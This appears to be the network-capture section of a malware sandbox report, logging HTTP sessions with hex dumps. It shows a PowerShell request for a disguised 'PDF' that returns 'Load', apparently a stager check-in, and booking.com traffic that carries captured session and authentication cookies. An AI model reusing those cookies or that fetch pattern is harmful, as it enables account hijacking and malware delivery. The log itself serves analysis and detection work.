2024-11-02 13:00:18 UTC	154	OUT	GET /license/2/1load.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:18 UTC	209	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:16 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:29:41 GMT Accept-Ranges: bytes Content-Length: 4 Connection: close Content-Type: application/pdf
2024-11-02 13:00:18 UTC	4	IN	Data Raw: 4c 6f 61 64 Data Ascii: Load

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49775	18.245.31.103	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:18 UTC	573	OUT	GET /d8c14d4960ca/c2181391033f/challenge.js HTTP/1.1 Host: d8c14d4960ca.edge.sdk.awswaf.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:19 UTC	614	IN	HTTP/1.1 307 Temporary Redirect Server: CloudFront Date: Sat, 02 Nov 2024 13:00:18 GMT Content-Length: 0 Connection: close Access-Control-Allow-Headers: * Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Access-Control-Max-Age: 86400 Cache-Control: max-age=86400 Location: https://d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com/d8c14d4960ca/c2181391033f/challenge.js X-Cache: FunctionGeneratedResponse from cloudfront Via: 1.1 4bf44796811ecea5881c6668d3aa9226.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: HXyVvMw1a5SNqsbKRofzKux8Cd8JukSvkoQaXjVyVB0xvkSqtMN56Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49786	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:19 UTC	1096	OUT	GET /b0bkldkg6hejew1y.js?hs1wxq1xi0kkzaob=doregtzf&7vh2vy0pyfc6f8vk=1a0be17c-3152-46c0-a97b-914483824c57 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAzmg4WWYG_lEZodme_mOHkrjZUjotsdM-RcKtEW_AnmFDq_Ny0v4QmVTRXJky_b3sasCET3cSQ-iTaS1D-XqSE4xBMpEw
2024-11-02 13:00:19 UTC	693	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:19 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Access-Control-Allow-Origin: * X-Robots-Tag: noindex, nofollow Set-Cookie: tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; Max-Age=155520000; Version=1; HttpOnly; Path=/; Secure; SameSite=None; P3P: CP=IVAa PSAa Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-11-02 13:00:19 UTC	7499	IN	Data Raw: 66 66 66 38 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 64 5f 32 79 3d 74 64 5f 32 79 7c 7c 7b 7d 3b 74 64 5f 32 79 2e 74 64 5f 33 4c 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 75 2c 74 64 5f 45 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 6e 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 4d 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 57 3d 30 3b 74 64 5f 57 3c 74 64 5f 45 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 57 29 7b 74 64 5f 6e 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 75 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 4d 29 5e 74 64 5f 45 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 57 29 29 29 3b 74 64 5f 4d 2b 2b 3b 0a 69 66 28 74 64 5f 4d 3e 3d 74 64 5f 75 2e 6c 65 6e 67 74 68 29 7b 74 64 5f 4d 3d 30 3b 7d 7d 72 Data Ascii: fff8(function(){var td_2y=td_2y\|\|{};td_2y.td_3L=function(td_u,td_E){try{var td_n=[""];var td_M=0;for(var td_W=0;td_W<td_E.length;++td_W){td_n.push(String.fromCharCode(td_u.charCodeAt(td_M)^td_E.charCodeAt(td_W)));td_M++;if(td_M>=td_u.length){td_M=0;}}r
2024-11-02 13:00:19 UTC	16384	IN	Data Raw: 5c 78 33 33 5c 78 33 35 5c 78 33 36 5c 78 33 35 5c 78 36 34 5c 78 33 30 5c 78 33 31 5c 78 33 30 5c 78 33 37 5c 78 33 35 5c 78 33 36 5c 78 33 31 5c 78 33 39 5c 78 33 34 5c 78 33 37 5c 78 33 35 5c 78 36 31 5c 78 33 35 5c 78 36 35 5c 78 33 36 5c 78 36 32 5c 78 33 30 5c 78 36 34 5c 78 33 35 5c 78 33 33 5c 78 33 34 5c 78 33 30 5c 78 33 30 5c 78 33 30 5c 78 33 30 5c 78 36 33 5c 78 33 30 5c 78 33 37 5c 78 33 33 5c 78 36 31 5c 78 33 35 5c 78 36 34 5c 78 33 30 5c 78 36 35 5c 78 33 35 5c 78 33 37 5c 78 33 35 5c 78 36 36 5c 78 33 35 5c 78 33 31 5c 78 33 34 5c 78 33 30 5c 78 33 30 5c 78 33 32 5c 78 33 34 5c 78 33 34 5c 78 33 30 5c 78 33 37 5c 78 33 34 5c 78 33 31 5c 78 33 30 5c 78 33 38 5c 78 33 31 5c 78 33 33 5c 78 33 31 5c 78 33 30 5c 78 33 30 5c 78 36 33 5c 78 33 Data Ascii: \x33\x35\x36\x35\x64\x30\x31\x30\x37\x35\x36\x31\x39\x34\x37\x35\x61\x35\x65\x36\x62\x30\x64\x35\x33\x34\x30\x30\x30\x30\x63\x30\x37\x33\x61\x35\x64\x30\x65\x35\x37\x35\x66\x35\x31\x34\x30\x30\x32\x34\x34\x30\x37\x34\x31\x30\x38\x31\x33\x31\x30\x30\x63\x3
2024-11-02 13:00:19 UTC	16384	IN	Data Raw: 36 45 36 38 34 45 36 32 34 31 30 36 31 33 32 36 33 37 35 36 30 35 34 36 32 31 35 30 33 30 34 43 30 44 37 35 36 34 36 30 35 45 36 33 35 32 37 44 31 45 30 36 33 37 35 46 34 46 36 31 37 39 30 31 34 32 37 38 35 46 35 42 37 37 37 34 31 38 32 39 32 34 34 39 30 33 37 38 32 32 36 34 33 36 35 35 35 34 37 30 35 35 37 35 37 38 37 31 32 46 35 37 36 39 35 35 31 31 36 35 30 36 36 42 35 31 35 44 37 46 34 33 30 43 37 37 35 32 35 44 32 41 30 44 31 35 30 32 34 37 36 38 31 41 37 42 35 35 31 36 30 42 30 46 34 37 37 44 37 46 37 41 30 45 34 45 35 34 30 33 32 46 35 33 35 32 36 37 34 33 33 34 37 39 30 32 35 39 35 37 34 39 35 46 33 42 32 42 33 43 30 31 30 32 36 38 30 43 37 44 33 32 30 43 31 32 35 37 34 32 37 44 37 35 30 36 33 41 35 36 36 39 35 43 30 39 36 33 35 44 34 30 34 33 31 Data Ascii: 6E684E6241061326375605462150304C0D7564605E63527D1E06375F4F61790142785F5B7774182924490378226436555470557578712F5769551165066B515D7F430C77525D2A0D150247681A7B55160B0F477D7F7A0E4E54032F535267433479025957495F3B2B3C0102680C7D320C1257427D75063A56695C09635D40431
2024-11-02 13:00:19 UTC	16384	IN	Data Raw: 33 66 63 38 35 35 38 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 79 2e 74 64 7a 5f 35 31 34 31 37 30 34 37 65 37 38 33 34 31 35 35 62 37 35 30 64 62 37 65 32 33 66 63 38 35 35 38 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 79 2e 74 64 7a 5f 35 31 34 31 37 30 34 37 65 37 38 33 34 31 35 35 62 37 35 30 64 62 37 65 32 33 66 63 38 35 35 38 2e 74 64 5f 66 28 32 38 2c 37 29 29 3a 6e 75 6c 6c 29 26 26 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 32 79 2e 74 64 7a 5f 35 31 34 31 37 30 34 37 65 37 38 33 34 31 35 35 62 37 35 30 64 62 37 65 32 33 66 63 38 35 35 38 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 Data Ascii: 3fc8558)!=="undefined"&&typeof(td_2y.tdz_51417047e7834155b750db7e23fc8558.td_f)!=="undefined")?(td_2y.tdz_51417047e7834155b750db7e23fc8558.td_f(28,7)):null)&&document.readyState===((typeof(td_2y.tdz_51417047e7834155b750db7e23fc8558)!=="undefined"&&typeof(
2024-11-02 13:00:19 UTC	8883	IN	Data Raw: 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 2e 74 64 5f 66 28 31 32 37 2c 35 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 2e 74 64 5f Data Ascii: _2y.tdz_120037044c594cb89eb1b2bf2c2c8d64.td_f(127,5)):null),identity:((typeof(td_2y.tdz_120037044c594cb89eb1b2bf2c2c8d64)!=="undefined"&&typeof(td_2y.tdz_120037044c594cb89eb1b2bf2c2c8d64.td_f)!=="undefined")?(td_2y.tdz_120037044c594cb89eb1b2bf2c2c8d64.td_
2024-11-02 13:00:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-02 13:00:19 UTC	8192	IN	Data Raw: 38 32 36 36 0d 0a 66 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 2e 74 64 5f 66 28 32 36 31 2c 33 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 Data Ascii: 8266f(td_2y.tdz_120037044c594cb89eb1b2bf2c2c8d64.td_f)!=="undefined")?(td_2y.tdz_120037044c594cb89eb1b2bf2c2c8d64.td_f(261,3)):null),identity:((typeof(td_2y.tdz_120037044c594cb89eb1b2bf2c2c8d64)!=="undefined"&&typeof(td_2y.tdz_120037044c594cb89eb1b2bf2c
2024-11-02 13:00:19 UTC	16384	IN	Data Raw: 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 2e 74 64 5f 66 28 33 35 32 2c 31 30 29 29 3a 6e 75 6c 6c 29 2c 72 3a 2f 28 57 69 6e 64 6f 77 73 20 31 30 2e 30 7c 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 29 2f 7d 2c 7b 73 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 79 2e 74 64 7a 5f 31 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 Data Ascii: 7044c594cb89eb1b2bf2c2c8d64.td_f(352,10)):null),r:/(Windows 10.0\|Windows NT 10.0)/},{s:((typeof(td_2y.tdz_120037044c594cb89eb1b2bf2c2c8d64)!=="undefined"&&typeof(td_2y.tdz_120037044c594cb89eb1b2bf2c2c8d64.td_f)!=="undefined")?(td_2y.tdz_120037044c594cb89e
2024-11-02 13:00:19 UTC	8812	IN	Data Raw: 32 30 30 33 37 30 34 34 63 35 39 34 63 62 38 39 65 62 31 62 32 62 66 32 63 32 63 38 64 36 34 2e 74 64 5f 66 28 31 30 30 2c 36 29 29 3a 6e 75 6c 6c 29 3b 0a 7d 63 68 65 63 6b 3d 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 26 26 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 79 61 6e 64 65 78 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 26 26 28 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 2e 77 65 62 73 74 6f 72 65 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7c 7c 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 2e 72 75 6e 74 69 6d 65 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7c 7c 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 2e 6c 6f 61 64 54 69 6d 65 73 21 3d 3d 5b Data Ascii: 20037044c594cb89eb1b2bf2c2c8d64.td_f(100,6)):null);}check=(typeof window.chrome!==[][[]]+"")&&(typeof window.yandex==[][[]]+"")&&((typeof window.chrome.webstore!==[][[]]+"")\|\|(typeof window.chrome.runtime!==[][[]]+"")\|\|(typeof window.chrome.loadTimes!==[
2024-11-02 13:00:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49784	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ytlZGP63T2+BVG4&MD=KL9+HNKk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-02 13:00:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 16b325cd-2383-4577-9fee-40b833026919 MS-RequestId: dd4a3407-ab22-46c3-bf91-5b1922d1aaa7 MS-CV: +h7GQQHAdUesTTfS.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 02 Nov 2024 13:00:19 GMT Connection: close Content-Length: 24490
2024-11-02 13:00:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-02 13:00:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49789	108.156.46.75	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:19 UTC	860	OUT	GET /ec/e.html?name=ecid HTTP/1.1 Host: saa.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
2024-11-02 13:00:19 UTC	477	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=UTF-8 Content-Length: 22 Connection: close date: Sat, 02 Nov 2024 13:00:19 GMT server: Perl Dancer2 0.300004 x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Error from cloudfront Via: 1.1 c4d61fb97b2b6dd985813b847272e0d0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR50-P2 X-Amz-Cf-Id: PF_kpNYAnujThdg6c8bZOS-4bvneyCsQqQ1_lTfTnMuOnPXyA0tdjA==
2024-11-02 13:00:19 UTC	22	IN	Data Raw: 49 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 20 6f 72 69 67 69 6e Data Ascii: Invalid request origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49788	18.245.31.129	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:19 UTC	368	OUT	GET /libs/datavisor/20231228/sdk.js HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:19 UTC	839	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 472909 Connection: close Server: nginx Date: Mon, 28 Oct 2024 13:31:07 GMT Last-Modified: Fri, 27 Sep 2024 07:30:24 GMT ETag: "66f65f10-7374d" Expires: Wed, 27 Nov 2024 13:31:07 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 f996db233b87d6765cc5ad56701268d8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 09nrYrxtKA4K9OvbDJNtuagMc-JGq-lD7xaWBOzVEdbTppFFdFTnrA== Age: 430152
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 50 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 3f 67 6c 6f 62 61 6c 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6a 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 26 26 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 22 64 65 66 Data Ascii: !function(){"use strict";var P="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function j(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"def
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 64 20 30 2c 74 26 26 74 2e 65 6e 74 65 72 28 29 7d 2c 4c 69 3d 68 69 7c 7c 5a 69 7c 7c 43 72 7c 7c 21 68 7c 7c 21 69 3f 21 66 26 26 67 26 26 67 2e 72 65 73 6f 6c 76 65 3f 28 28 46 69 3d 67 2e 72 65 73 6f 6c 76 65 28 76 6f 69 64 20 30 29 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 67 2c 56 69 3d 46 69 2e 74 68 65 6e 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 56 69 2e 63 61 6c 6c 28 46 69 2c 51 69 29 7d 29 3a 5a 69 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 71 69 2e 6e 65 78 74 54 69 63 6b 28 51 69 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 57 69 2e 63 61 6c 6c 28 59 69 2c 51 69 29 7d 3a 28 55 69 3d 21 30 2c 4d 69 3d 69 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 22 22 29 2c 6e 65 77 20 68 28 51 69 29 2e 6f 62 73 65 72 76 65 28 4d 69 2c 7b 63 68 61 72 61 63 74 65 72 44 Data Ascii: d 0,t&&t.enter()},Li=hi\|\|Zi\|\|Cr\|\|!h\|\|!i?!f&&g&&g.resolve?((Fi=g.resolve(void 0)).constructor=g,Vi=Fi.then,function(){Vi.call(Fi,Qi)}):Zi?function(){qi.nextTick(Qi)}:function(){Wi.call(Yi,Qi)}:(Ui=!0,Mi=i.createTextNode(""),new h(Qi).observe(Mi,{characterD
2024-11-02 13:00:20 UTC	16384	IN	Data Raw: 65 2c 6e 73 28 30 2c 6e 29 29 3a 74 5b 65 5d 3d 6e 7d 2c 76 3d 6f 74 2c 69 73 3d 46 2c 6f 73 3d 43 72 2c 61 73 3d 4b 2c 73 73 3d 5a 2c 75 73 3d 75 74 2c 63 73 3d 72 73 2c 6c 73 3d 4c 74 2c 66 73 3d 67 72 2c 6d 3d 58 2c 68 73 3d 6e 2c 70 73 3d 6d 28 22 69 73 43 6f 6e 63 61 74 53 70 72 65 61 64 61 62 6c 65 22 29 2c 64 73 3d 39 30 30 37 31 39 39 32 35 34 37 34 30 39 39 31 2c 67 73 3d 22 4d 61 78 69 6d 75 6d 20 61 6c 6c 6f 77 65 64 20 69 6e 64 65 78 20 65 78 63 65 65 64 65 64 22 2c 6d 3d 35 31 3c 3d 68 73 7c 7c 21 69 73 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 5b 5d 3b 72 65 74 75 72 6e 20 74 5b 70 73 5d 3d 21 31 2c 74 2e 63 6f 6e 63 61 74 28 29 5b 30 5d 21 3d 3d 74 7d 29 2c 68 73 3d 66 73 28 22 63 6f 6e 63 61 74 22 29 2c 69 73 3d 21 6d 7c 7c 21 Data Ascii: e,ns(0,n)):t[e]=n},v=ot,is=F,os=Cr,as=K,ss=Z,us=ut,cs=rs,ls=Lt,fs=gr,m=X,hs=n,ps=m("isConcatSpreadable"),ds=9007199254740991,gs="Maximum allowed index exceeded",m=51<=hs\|\|!is(function(){var t=[];return 